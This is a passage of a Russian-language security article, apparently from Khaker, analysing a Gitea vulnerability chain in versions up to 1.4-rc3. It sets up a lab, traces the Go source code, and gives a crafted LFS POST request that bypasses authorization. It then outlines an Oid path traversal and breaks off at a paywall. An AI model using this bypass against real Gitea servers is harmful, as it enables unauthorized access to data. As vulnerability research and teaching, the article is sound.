В этой статье я расскажу о нескольких уязвимостях в продукте Gitea. Это опенсорсная альтернатива GitHub, то есть сервис для работы с репозиториями Git. Основное отличие этого дистрибутива — в простоте настройки и использования: ты получаешь рабочую систему буквально в пару команд. Мы же пройдемся по цепочке уязвимостей, которая в конечном счете приведет к полной компрометации системы с возможностью выполнения произвольных команд.

INFO

Gitea — это форк небезызвестной Gogs, написанный на языке Go.

Моя основная система — это Windows, поэтому на ней и будем разбирать примеры. Для запуска своего Git-сервиса достаточно просто скачать нужную версию и выполнить одну команду.

Уязвимы все версии до 1.4-rc3 включительно. Я решил использовать версию 1.3.3. Загрузим ее с официального сайта. После этого создадим отдельную папку, в которую перекинем скачанный файл. Дальше из командной строки выполняем следующие команды.

Запуск Gitea на Windows
Запуск Gitea на Windows

После запуска приложения в текущей директории будут созданы конфигурационные файлы. Переходим по адресу http://localhost:3000 и попадаем на экран первоначальной настройки системы. Тут все просто, и можно оставить все настройки по умолчанию. Только в качестве используемой БД я выбрал SQLite 3, потому что не хочу заморачиваться с отдельным сервером.

Начальная настройка Gitea
Начальная настройка Gitea

После базовой настройки остается только создать аккаунт и тестовый репозиторий.

Создание пользователя в Gitea
Создание пользователя в Gitea

Если ты хочешь использовать Linux в качестве подопытной системы, то уязвимый докер-контейнер можно поднять такой командой:

$ docker run -d --rm -p 3000:3000 --name=gitea vulhub/gitea:1.4.0

Остальные шаги будут аналогичны установке под Windows.

 

Первое звено цепочки. Path Traversal

Первая уязвимость в цепочке связана с обходом авторизации. Здесь стоит рассказать о Git LFS. Это специальный контейнер, который создан для хранения очень больших файлов Large File System (LFS). Такие файлы хранятся вне основной директории репозитория Git, а в нем находятся только файлы индекса. При первоначальной конфигурации Gitea можно указать путь этой папки (опция LFS Root Path), по умолчанию она установлена в data/lfs для Windows-версии сервера и /data/gitea/lfs/ для Linux.

Вся логика для работы с HTTP-запросами к LFS описана в файле modules/lfs/server.go. Посмотрим на обработчик POST-запросов, служащий для отправки информации о больших файлах.

/modules/lfs/server.go
199: func PostHandler(ctx *context.Context) {
200:
201:    if !setting.LFS.StartServer {
202:        writeStatus(ctx, 404)
203:        return
204:    }
205:
206:    if !MetaMatcher(ctx.Req) {
207:        writeStatus(ctx, 400)
208:        return
209:    }
...
221:    if !authenticate(ctx, repository, rv.Authorization, true) {
222:        requireAuth(ctx)
223:    }

Обрати внимание на строку 221: здесь происходит проверка прав текущего пользователя на репозиторий, к которому будут привязываться загруженные файлы.

/modules/lfs/server.go
480: func authenticate(ctx *context.Context, repository *models.Repository, authorization string, requireWrite bool) bool {
...
491:    if ctx.IsSigned {
492:        accessCheck, _ := models.HasAccess(ctx.User.ID, repository, accessMode)
493:        return accessCheck
494:    }
...
504:    if !strings.HasPrefix(authorization, "Basic ") {
505:        return false
506:    }
...
508:    c, err := base64.StdEncoding.DecodeString(strings.TrimPrefix(authorization, "Basic "))
509:    if err != nil {
510:        return false
511:    }
...
524:    if !userModel.ValidatePassword(password) {
525:        return false
526:    }
...
528:    accessCheck, _ := models.HasAccess(userModel.ID, repository, accessMode)
529:    return accessCheck

Если доступа у юзера нет или запрос вообще был отправлен неавторизованным анонимом, то вызывается requireAuth. Эта функция возвращает ответ со статусом 401.

/modules/lfs/server.go
572: func requireAuth(ctx *context.Context) {
573:    ctx.Resp.Header().Set("WWW-Authenticate", "Basic realm=gitea-lfs")
574:    writeStatus(ctx, 401)
575: }

Однако PostHandler после этого не прекращает выполнение, так как отсутствует выход из функции с помощью оператора return, как это сделано в предыдущих проверках на строках 201 и 206. Из-за этого ошибка сохранения данных о файле все же произойдет.

/modules/lfs/server.go
225:    meta, err := models.NewLFSMetaObject(&models.LFSMetaObject{Oid: rv.Oid, Size: rv.Size, RepositoryID: repository.ID})
226:    if err != nil {
227:        writeStatus(ctx, 404)
228:        return
229:    }

Запомним этот трюк и посмотрим на структуру тела запроса, который сохраняет данные о большом файле.

{
    "Oid": "aabbccddeeff01234567890123456789012345678",
    "Size": 1000000
}

С size, я думаю, все понятно — это размер файла, а вот Oid — это ID объекта (ObjectID). Это SHA-хеш, контрольная сумма содержимого и заголовка файла. Если ты знаешь структуру репозитория, то в курсе, что существует папка objects, в которой и хранятся эти объекты. Подробнее о структуре можно прочитать, например, на git-scm.com.

Сейчас же нас интересует, что данный хеш — это часть пути, который будет формироваться при попытке доступа к нужному объекту. В Gitea они сохраняются в базе данных, в таблице lfs_meta_object.

/models/lfs.go
44: func NewLFSMetaObject(m *LFSMetaObject) (*LFSMetaObject, error) {
...
63:     if _, err = sess.Insert(m); err != nil {
64:         return nil, err
65:     }
66:
67:     return m, sess.Commit()
/models/lfs.go
09: type LFSMetaObject struct {
10:     ID           int64     `xorm:"pk autoincr"`
11:     Oid          string    `xorm:"UNIQUE(s) INDEX NOT NULL"`
12:     Size         int64     `xorm:"NOT NULL"`
13:     RepositoryID int64     `xorm:"UNIQUE(s) INDEX NOT NULL"`
14:     Existing     bool      `xorm:"-"`
15:     Created      time.Time `xorm:"-"`
16:     CreatedUnix  int64     `xorm:"created"`
17: }

При помощи следующего запроса мы создадим записи о наличии большого файла в репозитории.

POST /vh/test.git/info/lfs/objects HTTP/1.1
Host: gitea.vh:3000
Accept: application/vnd.git-lfs+json
Accept-Language: en
Content-Type: application/json
Content-Length: 151

{
    "Oid": "aabbccddeeff01234567890123456789012345678",
    "Size": 1000000
}
Запрос на создание записи о наличии большого файла в репозитории
Запрос на создание записи о наличии большого файла в репозитории

В таблице lfs_meta_object появилась новая запись. Чтобы в этом убедиться, я открою файл data/gitea.db. Как ты помнишь, в качестве БД я использую SQLite.

Просмотр записей в таблице lfs_meta_object
Просмотр записей в таблице lfs_meta_object

Обрати внимание, что статус ответа — 401 и первая строка — {"message": "Unauthorized"}. Но это не помешало оставшейся части кода выполниться и создать запись. Байпас в действии.

Обход авторизации при выполнении запросов к LFS
Обход авторизации при выполнении запросов к LFS

Предыдущим запросом мы сказали системе: «Хэй, Gitea, в репозитории test.git, принадлежащем юзеру vh, есть большой файл, за который отвечает объект с именем aabbcc…». Теперь по адресу http://gitea.vh:3000/vh/test/info/lfs/objects/aabbcc... у нас имеется интерфейс для работы с файлом. Разными запросами мы можем читать, удалять и изменять файл. В общем случае при обращении к этому объекту система будет пытаться найти его на диске и открыть.

Посмотрим на обработчик getContentHandler.

/modules/lfs/server.go
134: func getContentHandler(ctx *context.Context) {
135:    rv := unpack(ctx)
136:
137:    meta, _ := getAuthenticatedRepoAndMeta(ctx, rv, false)
...
155:    contentStore := &ContentStore{BasePath: setting.LFS.ContentPath}
156:    content, err := contentStore.Get(meta, fromByte)

Корневая директория LFS, в которой должны храниться все большие файлы, как мы уже знаем, указывается при начальной настройке системы. Она лежит в setting.LFS.ContentPath (LFS_CONTENT_PATH в ini-файле). Работа с ContentStore описана в файле modules/lfs/content_store.go. Посмотрим на метод Get.

/modules/lfs/content_store.go
26: func (s *ContentStore) Get(meta *models.LFSMetaObject, fromByte int64) (io.ReadCloser, error) {
27:     path := filepath.Join(s.BasePath, transformKey(meta.Oid))
28:
29:     f, err := os.Open(path)
30:     if err != nil {
31:         return nil, err
32:     }
33:     if fromByte > 0 {
34:         _, err = f.Seek(fromByte, os.SEEK_CUR)
35:     }
36:     return f, err
37: }

Его можно триггернуть при помощи GET-запроса.

$ curl -I -s "http://gitea.vh:3000/vh/test/info/lfs/objects/aabbccddeeff01234567890123456789012345678/any"

На 27-й строке формируется путь до файла. В ней используется путь к хранилищу LFS и Oid, переданный нами в запросе. Но сначала хеш попадает в функцию transformKey.

/modules/lfs/content_store.go
100: func transformKey(key string) string {
101:    if len(key) < 5 {
102:        return key
103:    }
104:
105:    return filepath.Join(key[0:2], key[2:4], key[4:])
106: }

Конструкция filepath.Join(key[0:2], key[2:4], key[4:]) приводит нашу строку к следующему виду:

aa/bb/ccddeeff01234567890123456789012345678

Это относительный путь файла, который нужно прочитать. Не забываем про BasePath, в итоге полный путь выглядит так:

  • для Windows:

    <директория_запуска_gitea>/data/lfs/aa/bb/ccddeeff01234567890123456789012345678
    
  • для Linux:

    /data/gitea/lfs/aa/bb/ccddeeff01234567890123456789012345678
    

Разумеется, такого файла сейчас не существует и наш запрос вернет код 404.

Попытка прочитать несуществующий объект LFS
Попытка прочитать несуществующий объект LFS

И все бы ничего, но вот только параметр Oid никак не проверяется при записи в базу. Значит, можно попробовать провернуть атаку типа path traversal, выйти из корневой директории LFS и прочитать любой файл. Давай проверим.

Продолжение доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все материалы на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи один материал

Заинтересовала информация, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для материалов, опубликованных более двух месяцев назад.


Оставить мнение

Check Also

0-day баг в популярном jQuery плагине эксплуатировали как минимум несколько лет

Баг обнаружили в плагине jQuery File Upload. Под угрозой оказались сотни, а возможно, тыся…